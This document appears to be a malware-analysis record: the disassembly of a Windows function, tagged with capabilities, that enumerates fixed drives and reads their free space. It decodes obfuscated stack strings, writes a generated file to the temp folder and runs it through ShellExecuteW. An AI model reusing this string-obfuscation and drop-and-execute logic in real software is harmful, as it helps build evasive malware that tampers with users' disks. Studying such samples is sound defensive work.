Function at 0x14001b690
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get disk information
Get disk size
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r14
push r15
lea rbp, [rsp - 0x1280]
mov eax, 0x1380
call fcn.140041f80
sub rsp, rax
mov qword [rbp + 0x100], 0xfffffffffffffffe
mov qword [rsp + 0x13a8], rbx
mov qword [rsp + 0x13b0], rsi
mov qword [rsp + 0x13b8], rdi
mov rax, qword [0x140050008]
xor rax, rsp
mov qword [rbp + 0x1270], rax
mov rsi, rcx
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x170]
call fcn.1400341f0
mov qword [rbp + 0x128], 0xf
xor r14d, r14d
mov qword [rbp + 0x120], r14
mov byte [rbp + 0x110], r14b
mov byte [rsp + 0x58], r14b
mov byte [rsp + 0x59], 0x49
mov byte [rsp + 0x5a], 0x60
mov byte [rsp + 0x5b], 0x39
mov byte [rsp + 0x5c], 0x5b
mov byte [rsp + 0x5d], 0x25
mov byte [rsp + 0x5e], 0x54
mov byte [rsp + 0x5f], 0x25
mov byte [rsp + 0x60], 0x34
mov byte [rsp + 0x61], 0x34
mov byte [rsp + 0x62], 0x24
mov byte [rsp + 0x63], 0x5f
movzx eax, byte [rsp + 0x59]
movzx eax, byte [rsp + 0x58]
test al, al
jne 0x14001b7b1
mov r8d, r14d
nop
movzx ecx, byte [rsp + r8 + 0x59]
mov eax, 0x5f
sub eax, ecx
imul ecx, eax, 0x1a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x59], cl
inc r8
cmp r8, 0xb
jb 0x14001b760
lea r8, [rsp + 0x59]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x80]
call fcn.140029720
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140028ec0
mov rax, qword [rbp + 0x98]
cmp rax, 0x10
jb 0x14001b834
inc rax
mov rcx, qword [rbp + 0x80]
cmp rax, 0x1000
jb 0x14001b82f
test cl, 0x1f
je 0x14001b802
call fcn.1400369f8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14001b811
call fcn.1400369f8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14001b820
call fcn.1400369f8
int3
cmp rcx, 0x27
jbe 0x14001b82c
call fcn.1400369f8
int3
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x98], 0xf
mov qword [rbp + 0x90], r14
mov byte [rbp + 0x80], 0
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
test eax, eax
je 0x14001c0b2
shr edi, 2
mov cl, 0x43
mov byte [rbp + 0x108], cl
movabs r15, 0xcccccccccccccccd
test dil, 1
je 0x14001c026
mov qword [rbp + 0x78], 0xf
mov qword [rbp + 0x70], r14
mov byte [rbp + 0x60], 0
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x60]
call fcn.1400290a0
nop
lea r8, [0x14004b340]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.140029890
nop
mov rax, qword [rbp + 0x78]
cmp rax, 0x10
jb 0x14001b903
inc rax
mov rcx, qword [rbp + 0x60]
cmp rax, 0x1000
jb 0x14001b8fe
test cl, 0x1f
jne 0x14001c04c
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14001c046
sub rcx, rax
cmp rcx, 8
jb 0x14001c040
cmp rcx, 0x27
ja 0x14001c03a
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x78], 0xf
mov qword [rbp + 0x70], r14
mov byte [rbp + 0x60], 0
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x14001bfb2
lea r8d, [rax - 2]
lea rdx, [0x14004b344]
lea rcx, [rbp + 0x130]
call fcn.1400291e0
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae rcx, qword [rbp + 0x130]
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x14001bfb2
mov rax, r15
mul qword [rbp + 0x158]
shr rdx, 4
imul rbx, rdx, 0x13
mov byte [rbp - 0x68], 0
mov byte [rbp - 0x67], 6
mov byte [rbp - 0x66], 0x31
mov byte [rbp - 0x65], 0x7c
mov byte [rbp - 0x64], 0x17
mov byte [rbp - 0x63], 0x37
mov byte [rbp - 0x62], 0x68
mov byte [rbp - 0x61], 0x30
mov byte [rbp - 0x60], 6
mov byte [rbp - 0x5f], 0x37
mov byte [rbp - 0x5e], 0x68
mov byte [rbp - 0x5d], 0x20
mov byte [rbp - 0x5c], 0x30
mov byte [rbp - 0x5b], 0x54
mov byte [rbp - 0x5a], 0x4b
mov byte [rbp - 0x59], 0x20
mov byte [rbp - 0x58], 9
mov byte [rbp - 0x57], 0x17
mov byte [rbp - 0x56], 0x20
mov byte [rbp - 0x55], 0x7a
mov byte [rbp - 0x54], 0x20
mov byte [rbp - 0x53], 0x48
mov byte [rbp - 0x52], 0x30
mov byte [rbp - 0x51], 0x2d
mov byte [rbp - 0x50], 0x54
mov byte [rbp - 0x4f], 7
mov byte [rbp - 0x4e], 0xc
mov byte [rbp - 0x4d], 0xd
mov byte [rbp - 0x4c], 0x2e
mov byte [rbp - 0x4b], 0x4c
mov byte [rbp - 0x4a], 0x4c
mov byte [rbp - 0x49], 0x4c
mov byte [rbp - 0x48], 0x4c
mov byte [rbp - 0x47], 0x30
mov byte [rbp - 0x46], 0x2d
mov byte [rbp - 0x45], 0x7d
mov byte [rbp - 0x44], 0x6f
mov byte [rbp - 0x43], 0x24
mov byte [rbp - 0x42], 0x3a
mov byte [rbp - 0x41], 0x30
mov byte [rbp - 0x40], 0x72
mov byte [rbp - 0x3f], 0x1e
mov byte [rbp - 0x3e], 0x7a
mov byte [rbp - 0x3d], 0x43
mov byte [rbp - 0x3c], 0x2f
mov byte [rbp - 0x3b], 0x30
mov byte [rbp - 0x3a], 0x58
mov byte [rbp - 0x39], 0x1e
mov byte [rbp - 0x38], 0x7a
mov byte [rbp - 0x37], 0x43
mov byte [rbp - 0x36], 0x2f
mov byte [rbp - 0x35], 0x70
mov byte [rbp - 0x34], 0x76
movzx eax, byte [rbp - 0x67]
movzx eax, byte [rbp - 0x68]
test al, al
jne 0x14001bad1
mov r8, r14
nop
movzx ecx, byte [rbp + r8 - 0x67]
mov eax, 0x76
sub eax, ecx
imul ecx, eax, 0x2c
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x67], cl
inc r8
cmp r8, 0x34
jb 0x14001ba80
movsx r8d, byte [rbp + 0x108]
mov r9, rbx
lea rdx, [rbp - 0x67]
lea rcx, [rbp + 0x170]
call fcn.1400299c0
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xa0]
call fcn.140029720
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140028ec0
mov rax, qword [rbp + 0xb8]
cmp rax, 0x10
jb 0x14001bb69
inc rax
mov rcx, qword [rbp + 0xa0]
cmp rax, 0x1000
jb 0x14001bb64
test cl, 0x1f
jne 0x14001c064
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14001c05e
sub rcx, rax
cmp rcx, 8
jb 0x14001c058
cmp rcx, 0x27
ja 0x14001c052
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0xb8], 0xf
mov qword [rbp + 0xb0], r14
mov byte [rbp + 0xa0], 0
mov byte [rbp - 0x30], 0
mov byte [rbp - 0x2f], 0x3d
mov byte [rbp - 0x2e], 0x6a
mov byte [rbp - 0x2d], 0x19
mov byte [rbp - 0x2c], 2
mov byte [rbp - 0x2b], 3
mov byte [rbp - 0x2a], 0x48
mov byte [rbp - 0x29], 0x66
mov byte [rbp - 0x28], 0x3d
mov byte [rbp - 0x27], 3
mov byte [rbp - 0x26], 0x48
mov byte [rbp - 0x25], 0x26
mov byte [rbp - 0x24], 0x66
mov byte [rbp - 0x23], 0x6a
mov byte [rbp - 0x22], 0x26
mov byte [rbp - 0x21], 2
mov byte [rbp - 0x20], 0x4a
mov byte [rbp - 0x1f], 0x49
mov byte [rbp - 0x1e], 0x48
mov byte [rbp - 0x1d], 3
mov byte [rbp - 0x1c], 0xf
mov byte [rbp - 0x1b], 0x29
mov byte [rbp - 0x1a], 0x49
mov byte [rbp - 0x19], 2
mov byte [rbp - 0x18], 0x49
mov byte [rbp - 0x17], 0x66
mov byte [rbp - 0x16], 0x5a
mov byte [rbp - 0x15], 0x77
mov byte [rbp - 0x14], 0x41
mov byte [rbp - 0x13], 0x55
mov byte [rbp - 0x12], 0x59
mov byte [rbp - 0x11], 0x5e
mov byte [rbp - 0x10], 0x57
mov byte [rbp - 0xf], 0x57
mov byte [rbp - 0xe], 0x57
mov byte [rbp - 0xd], 0x57
mov byte [rbp - 0xc], 0x66
mov byte [rbp - 0xb], 0x5a
mov byte [rbp - 0xa], 0x1d
mov byte [rbp - 9], 0x64
mov byte [rbp - 8], 0x36
mov byte [rbp - 7], 0xf
mov byte [rbp - 6], 0x66
mov byte [rbp - 5], 0x70
mov byte [rbp - 4], 0x1e
mov byte [rbp - 3], 0x11
mov byte [rbp - 2], 0x33
mov byte [rbp - 1], 0x62
mov byte [rbp], 0x66
mov byte [rbp + 1], 8
mov byte [rbp + 2], 0x1e
mov byte [rbp + 3], 0x11
mov byte [rbp + 4], 0x33
mov byte [rbp + 5], 0x62
mov byte [rbp + 6], 0x68
mov byte [rbp + 7], 1
movzx eax, byte [rbp - 0x2f]
movzx eax, byte [rbp - 0x30]
test al, al
jne 0x14001bcd1
mov r8, r14
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + r8 - 0x2f]
imul eax, eax, 0xb
mov ecx, 0xb
sub ecx, eax
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x2f], cl
inc r8
cmp r8, 0x37
jb 0x14001bc80
movsx r8d, byte [rbp + 0x108]
mov r9, rbx
lea rdx, [rbp - 0x2f]
lea rcx, [rbp + 0x170]
call fcn.1400299c0
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xc0]
call fcn.140029720
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140028ec0
mov rax, qword [rbp + 0xd8]
cmp rax, 0x10
jb 0x14001bd69
inc rax
mov rcx, qword [rbp + 0xc0]
cmp rax, 0x1000
jb 0x14001bd64
test cl, 0x1f
jne 0x14001c07c
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14001c076
sub rcx, rax
cmp rcx, 8
jb 0x14001c070
cmp rcx, 0x27
ja 0x14001c06a
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0xd8], 0xf
mov qword [rbp + 0xd0], r14
mov byte [rbp + 0xc0], 0
mov byte [rbp + 0x10], 0
mov byte [rbp + 0x11], 0x5a
mov byte [rbp + 0x12], 2
mov byte [rbp + 0x13], 8
mov byte [rbp + 0x14], 5
mov byte [rbp + 0x15], 0x63
mov byte [rbp + 0x16], 0x6c
mov byte [rbp + 0x17], 7
mov byte [rbp + 0x18], 0x5a
mov byte [rbp + 0x19], 0x63
mov byte [rbp + 0x1a], 0x6c
mov byte [rbp + 0x1b], 0x57
mov byte [rbp + 0x1c], 7
mov byte [rbp + 0x1d], 2
mov byte [rbp + 0x1e], 0x57
mov byte [rbp + 0x1f], 5
mov byte [rbp + 0x20], 0x36
mov byte [rbp + 0x21], 0x57
mov byte [rbp + 0x22], 0x7e
mov byte [rbp + 0x23], 0x75
mov byte [rbp + 0x24], 0x73
mov byte [rbp + 0x25], 0x4b
mov byte [rbp + 0x26], 5
mov byte [rbp + 0x27], 0x4b
mov byte [rbp + 0x28], 7
mov byte [rbp + 0x29], 0x75
mov byte [rbp + 0x2a], 0x5a
mov byte [rbp + 0x2b], 0x5a
mov byte [rbp + 0x2c], 2
mov byte [rbp + 0x2d], 0x57
mov byte [rbp + 0x2e], 5
mov byte [rbp + 0x2f], 0x5e
mov byte [rbp + 0x30], 0x37
mov byte [rbp + 0x31], 7
mov byte [rbp + 0x32], 0x6c
mov byte [rbp + 0x33], 0x57
mov byte [rbp + 0x34], 0x72
mov byte [rbp + 0x35], 0x5d
mov byte [rbp + 0x36], 5
mov byte [rbp + 0x37], 0x60
mov byte [rbp + 0x38], 0x5e
mov byte [rbp + 0x39], 0x16
mov byte [rbp + 0x3a], 3
mov byte [rbp + 0x3b], 0x49
mov byte [rbp + 0x3c], 0x43
mov byte [rbp + 0x3d], 0x54
mov byte [rbp + 0x3e], 7
mov byte [rbp + 0x3f], 0x16
mov byte [rbp + 0x40], 0x51
mov byte [rbp + 0x41], 0x55
mov byte [rbp + 0x42], 0x3c
mov byte [rbp + 0x43], 0x37
mov byte [rbp + 0x44], 0x11
mov byte [rbp + 0x45], 0x79
mov byte [rbp + 0x46], 0x79
mov byte [rbp + 0x47], 0x79
mov byte [rbp + 0x48], 0x79
mov byte [rbp + 0x49], 7
mov byte [rbp + 0x4a], 0x3a
mov byte [rbp + 0x4b], 0x61
mov byte [rbp + 0x4c], 0x12
mov byte [rbp + 0x4d], 0x27
mov byte [rbp + 0x4e], 0xc
mov byte [rbp + 0x4f], 7
mov byte [rbp + 0x50], 0x3d
mov byte [rbp + 0x51], 0x61
mov byte [rbp + 0x52], 0x12
mov byte [rbp + 0x53], 0x27
mov byte [rbp + 0x54], 0xc
mov byte [rbp + 0x55], 0x44
mov byte [rbp + 0x56], 0x26
movzx eax, byte [rbp + 0x11]
movzx eax, byte [rbp + 0x10]
test al, al
jne 0x14001bf01
mov r8, r14
nop dword [rax]
movzx ecx, byte [rbp + r8 + 0x11]
mov eax, 0x26
sub eax, ecx
imul ecx, eax, 0x2a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 + 0x11], cl
inc r8
cmp r8, 0x46
jb 0x14001beb0
movsx r9d, byte [rbp + 0x108]
mov r8, rbx
lea rdx, [rbp + 0x11]
lea rcx, [rbp + 0x170]
call fcn.1400299c0
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xe0]
call fcn.140029720
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140028ec0
mov rax, qword [rbp + 0xf8]
cmp rax, 0x10
jb 0x14001bf99
inc rax
mov rcx, qword [rbp + 0xe0]
cmp rax, 0x1000
jb 0x14001bf94
test cl, 0x1f
jne 0x14001c094
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14001c08e
sub rcx, rax
cmp rcx, 8
jb 0x14001c088
cmp rcx, 0x27
ja 0x14001c082
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0xf8], 0xf
mov qword [rbp + 0xf0], r14
mov byte [rbp + 0xe0], 0
mov rax, qword [rbp + 0x148]
cmp rax, 0x10
jb 0x14001c006
inc rax
mov rcx, qword [rbp + 0x130]
cmp rax, 0x1000
jb 0x14001c001
test cl, 0x1f
jne 0x14001c0ac
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14001c0a6
sub rcx, rax
cmp rcx, 8
jb 0x14001c0a0
cmp rcx, 0x27
ja 0x14001c09a
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x148], 0xf
mov qword [rbp + 0x140], r14
mov byte [rbp + 0x130], 0
movzx ecx, byte [rbp + 0x108]
shr edi, 1
inc cl
mov byte [rbp + 0x108], cl
cmp cl, 0x5a
jg 0x14001c0b2
jmp 0x14001b872
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
nop
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0x67
mov byte [rsp + 0x42], 0x72
mov byte [rsp + 0x43], 0x40
mov byte [rsp + 0x44], 0x75
mov byte [rsp + 0x45], 0x2d
mov byte [rsp + 0x46], 0x27
mov byte [rsp + 0x47], 0x13
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x14001c141
mov r8, r14
nop dword [rax + rax]
movzx ecx, byte [rsp + r8 + 0x41]
mov eax, 0x13
sub eax, ecx
imul ecx, eax, 0x17
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x41], cl
inc r8
cmp r8, 7
jb 0x14001c0f0
cmp byte [rsp + 0x41], 0
jne 0x14001c14d
mov r8, r14
jmp 0x14001c160
lea rax, [rsp + 0x41]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14001c156
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x110]
call fcn.1400291e0
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0xa70]
call fcn.1400341f0
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x270]
call fcn.1400341f0
lea rdx, [rbp + 0x270]
mov ecx, 0x3ff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov rdx, rsi
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
test rax, rax
je 0x14001c488
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rdx, qword [rbp + 0x110]
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x150]
mov r8d, dword [rbp + 0x120]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 0x3a
mov byte [rsp + 0x6a], 0x70
mov byte [rsp + 0x6b], 0x37
mov byte [rsp + 0x6c], 0x70
mov byte [rsp + 0x6d], 0x20
mov byte [rsp + 0x6e], 0x70
mov byte [rsp + 0x6f], 0x1b
mov byte [rsp + 0x70], 0x70
mov byte [rsp + 0x71], 0x53
mov byte [rsp + 0x72], 0x70
mov byte [rsp + 0x73], 0xf
mov byte [rsp + 0x74], 0x70
mov byte [rsp + 0x75], 0x1b
mov byte [rsp + 0x76], 0x70
mov byte [rsp + 0x77], 0x70
mov byte [rsp + 0x78], 0x70
movzx eax, byte [rsp + 0x69]
movzx eax, byte [rsp + 0x68]
test al, al
jne 0x14001c2f5
mov r9, r14
nop word [rax + rax]
movzx ecx, byte [rsp + r9 + 0x69]
sub ecx, 0x70
imul r8d, ecx, 0x19
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x69], r8b
inc r9
cmp r9, 0x10
jb 0x14001c2a0
lea r8, [rbp + 0x270]
lea rdx, [rsp + 0x69]
lea rcx, [rbp + 0xa70]
call qword [sym.imp.USER32.dll_wsprintfW]
mov byte [rbp - 0x80], 0
mov byte [rbp - 0x7f], 0x70
mov byte [rbp - 0x7e], 0x2e
mov byte [rbp - 0x7d], 0x22
mov byte [rbp - 0x7c], 0x2e
mov byte [rbp - 0x7b], 0x1c
mov byte [rbp - 0x7a], 0x2e
mov byte [rbp - 0x79], 0x77
mov byte [rbp - 0x78], 0x2e
mov byte [rbp - 0x77], 0x47
mov byte [rbp - 0x76], 0x2e
mov byte [rbp - 0x75], 0x7e
mov byte [rbp - 0x74], 0x2e
mov byte [rbp - 0x73], 0x47
mov byte [rbp - 0x72], 0x2e
mov byte [rbp - 0x71], 0x2e
mov byte [rbp - 0x70], 0x2e
movzx eax, byte [rbp - 0x7f]
movzx eax, byte [rbp - 0x80]
test al, al
jne 0x14001c3c1
mov r8, r14
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + r8 - 0x7f]
mov eax, 0x2e
sub eax, ecx
imul ecx, eax, 0x3e
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x7f], cl
inc r8
cmp r8, 0x10
jb 0x14001c370
mov byte [rsp + 0x48], 0
mov byte [rsp + 0x49], 0x77
mov byte [rsp + 0x4a], 0x6b
mov byte [rsp + 0x4b], 0x17
mov byte [rsp + 0x4c], 0x6b
mov byte [rsp + 0x4d], 0x3f
mov byte [rsp + 0x4e], 0x6b
mov byte [rsp + 0x4f], 0x58
mov byte [rsp + 0x50], 0x6b
mov byte [rsp + 0x51], 0x6b
mov byte [rsp + 0x52], 0x6b
movzx eax, byte [rsp + 0x49]
movzx eax, byte [rsp + 0x48]
test al, al
jne 0x14001c465
mov r9, r14
nop dword [rax]
movzx ecx, byte [rsp + r9 + 0x49]
sub ecx, 0x6b
imul r8d, ecx, 0x29
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x49], r8b
inc r9
cmp r9, 0xa
jb 0x14001c410
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xa70]
lea r8, [rbp - 0x7f]
lea rdx, [rsp + 0x49]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rax, qword [rbp + 0x128]
cmp rax, 0x10
jb 0x14001c4e4
inc rax
mov rcx, qword [rbp + 0x110]
cmp rax, 0x1000
jb 0x14001c4df
test cl, 0x1f
je 0x14001c4b2
call fcn.1400369f8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14001c4c1
call fcn.1400369f8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14001c4d0
call fcn.1400369f8
int3
cmp rcx, 0x27
jbe 0x14001c4dc
call fcn.1400369f8
int3
mov rcx, rax
call fcn.140031a5c
mov rcx, qword [rbp + 0x1270]
xor rcx, rsp
call fcn.140031880
lea r11, [rsp + 0x1380]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret